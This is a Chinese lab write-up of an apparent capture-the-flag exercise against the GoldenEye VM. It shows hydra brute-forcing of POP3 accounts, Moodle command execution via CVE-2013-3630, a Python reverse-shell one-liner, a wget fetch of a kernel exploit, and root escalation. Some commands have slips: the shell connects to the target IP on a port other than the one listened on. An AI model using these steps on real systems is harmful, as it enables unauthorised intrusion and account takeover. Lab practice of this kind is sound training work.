记一次GoldenEye靶场渗透测试过程
靶场下载连接:
链接:https://pan.baidu.com/s/1qSU-0h8S-HyV-tkhGvCe3A
提取码:n2hq
下载完成之后,在VMware直接打开虚拟机,选择该.ova文件即可。
KALI攻击机:192.168.43.126
GoldenEye靶机:192.168.43.27
一、信息收集
1、使用nmap进行信息收集,查找同网段下的主机:
namp -sP 192.168.43.0/24
Nmap -sP 扫描所在网段存货主机(可以扫到所在局域网并且在同一网段下的存活主机)
获得靶场的ip地址为:192.168.43.27
2、查看端口开放情况以便利用。
nmap -sS -sV -T5 -A -p- 192.168.43.27
nmap -sV 扫描端口服务器版本
nmap -sS 半开扫描,使用TCP的SYN进行扫描
nmap -A扫描全面系统检测,启动脚本检测、扫描等
目标开启了25、80、55006、55007端口以及获得对应的服务。
25/tcp open smtp(简单邮件传输服务)
80/tcp open http(超文本传输协议)
55006/tcp open ssl/pop3(pop3被用户代理用来邮件服务器取得邮件)
55007/tcp open pop3
3、使用浏览器访问该网站:http://192.168.43.27 ,内容如下所示:
根据页面提示,我们进入到/sev-home/:
弹出用户名和密码登录窗口。F12查看网页源码,存在一个terminal.js,点击进去查看详情。
解码为:InvincibleHack3r
到此,我们可以得到相关的登录信息:
用户名:Boris、Natalya
密码:InvincibleHack3r
尝试登录。发现登陆失败,网上参照别人的思路,将用户名改成小写:boris,登陆成功。
将页面英文进行翻译:
pop3服务配置在非常高的非默认端口上运行 ,记得之前探测到主机开放了55007端口并且探测结果也表明它是一个pop3服务。
关于pop3协议扩展: 1、banner信息获取:2、nmap pop3脚本扫描:
nc -nv <ip> <port>
3、pop3爆破:使用hydra或xhydra进行命令爆破:
nmap –script “pop3-capabilities or pop3-ntlm-info” -Sv -port <port> <ip>
4、命令行登录pop邮箱: telnet方式:
hydra -s <port> -l <username> -p> <password> -e nsr -t 22 <ip> pop3 hydra -s <port> -L username_file> > -p <password> -e nsr -t 22 <ip> pop3
nc方式:
telnet <ip> <port>
注:这里所用的ip和端口都是服务器所用的ip和端口。
nc <ip> <port>
查看源码,发现有两个用户名:Boris、Natalya,我们也许可以登陆到这两个用户的邮箱中去。
使用hydra工具(kali自带)对pop3服务进行爆破。
首先将两个用户名写到user.txt文件中,并使用hydra自带字典对密码进行爆破。
命令为:
hydra 192.168.43.27 -s 55007 pop3 -L user.txt -P /usr/share/wordlists/fasttrack.txt
关于hydra参数的使用:
-l login 小写,指定用户名进行破解
-L file 大写,指定用户的用户名字典
-p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。
-P file 大写,用于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
-M file 指定目标ip列表文件,批量破解。
-o file 指定结果输出文件
-f 找到第一对登录名或者密码的时候中止破解。
-t tasks 同时运行的线程数,默认是16
-w time 设置最大超时时间,单位
-v / -V 显示详细过程
-R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)
-x 自定义密码。
爆出了两个用户名的密码:
用户:boris 密码:secret1!
用户:Natalya 密码:bird
接着使用nc连接pop3服务,登录这两个用户名查看邮箱的邮件信息。
nc 192.168.43.27 55007
发现里面没有什么可用信息。
尝试登录另一个用户名的邮箱。
发现了另一个用户名和密码,此服务器域名和网站,还要求我们在本地host中国添加域名信息:
用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
使用命令:
sudo vim /etc/hosts
,中间空格使用tab间
域名千万别写错,否则访问不了,我就会因为写错了一直访问网站不成功。
查看是否添加成功:
cat /etc/hosts
看到此即为添加成功,根据提示浏览器访问网址:
http://servernaya-station.com/gnocertdir
观察页面,发现有个登录按钮,我们尝试使用刚才在邮件发现的用户名和密码进行登录,登陆成功之后,四处查看在"My profile"–>“Messages”–>选择"Recent conversations"(最近的对话)看到一个名为doak的用户。
我们知道了用户名为doak,可以使用hydra尝试对其密码进行爆破。
hydra 192.168.43.27 -s 55007 pop3 -l "doak" -P /usr/share/wordlists/fasttrack.txt
用户名:doak
密码:goat
登录该邮箱,查看邮件。
发现用户名和密码。
用户名:dr_doak
密码:4England!
使用该用户重新登录,
发现在My home->My private files-> for james文件夹中有一个.txt文件。将其下载并打开看看。
根据提示,可打开图片链接,下载图片,查看属性。
访问链接:http://severnaya-station.com/dir007key/for-007.jpg
发现eFdpbnRlcjE5OTV4IQ==可能使base64编码啊,尝试base64解码:
解码后结果为:xWinter1995x!
由于我们在刚才的页面中看到admin用户,可以尝试使用 用户名为:admin和密码为:xWinter1995x! 进行登录。
尝试登录刚才的网站。
发现管理员的权限很多。
二、漏洞探测
查看网站的的更多信息,如下图:
发现网站使用的cms是Moodle使用的2.2.3版本,获得版本名称后,可以上网搜索网上的可用漏洞。发现存在远程命令执行漏洞CVE-2013-3630。
在利用的EXP中在POST的时候需要将拼写检查google spell换成PSpellSHell,原因是目标主机上不存在GCC编译,只有CC编译
。
在"Settings"–>“Site administration”–>“Plugins”–>“Text editors”–>“TinyMCE HTML editor” 修改PSpellSHel
三、漏洞利用
在"Settings"–>“Site administration”–>“Server”–>“System paths”–>“Path to aspell” 进行命令执行。
使用python反弹shell:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.43.27”,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
在本地终端里面监听8888端口,通过在blog中新建文章,随便输入字符,点击"Toggle Spellchecker"之后就会反弹到shell。
获得一个shell权限!
使用python获得tty,不然有些命令无法执行。(获得tty后,可以按tab就有自动补全功能,按ctrl+c退出,不怕shell断掉等问题,比较方便)
四、提权
www-data的低特权用户,我们需要进行提权操作。
根据我们操作系统和内核版本号Linux ubuntu 3.13.0,在kali中查找相关漏洞。
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home
复制至home目录。
然后使用python创建一个服务,通过服务上传37292.c到靶机中,
python -m SimpleHTTPServer 8000
然后看一下靶机中哪个目录的权限最高:
ls -al
,发现tmp目录的权限是最高的,为777,可读可写可执行,所以决定将exp下载到该目录。
由于前面说过靶机未安装gcc编译,只能用cc编译,需要修改37292.c编译,将gcc改成cc。
cd /tmp
wget http://192.168.43.126:8000/37292.c
ls #查看是否上传成功
cc 37292.c -o exp #对37292.c进行编译并生成exp可执行文件
ls #查看桌面是否成exp可执行文件
./exp #运行exp可执行文件
whoami #查看当前权限
cd /root
ls -al
发现有一个
.flag.txt
文件,使用cat命令查看,发现其内容为MD5值加密,使用在线网站记性MD5值解码,得到
006
。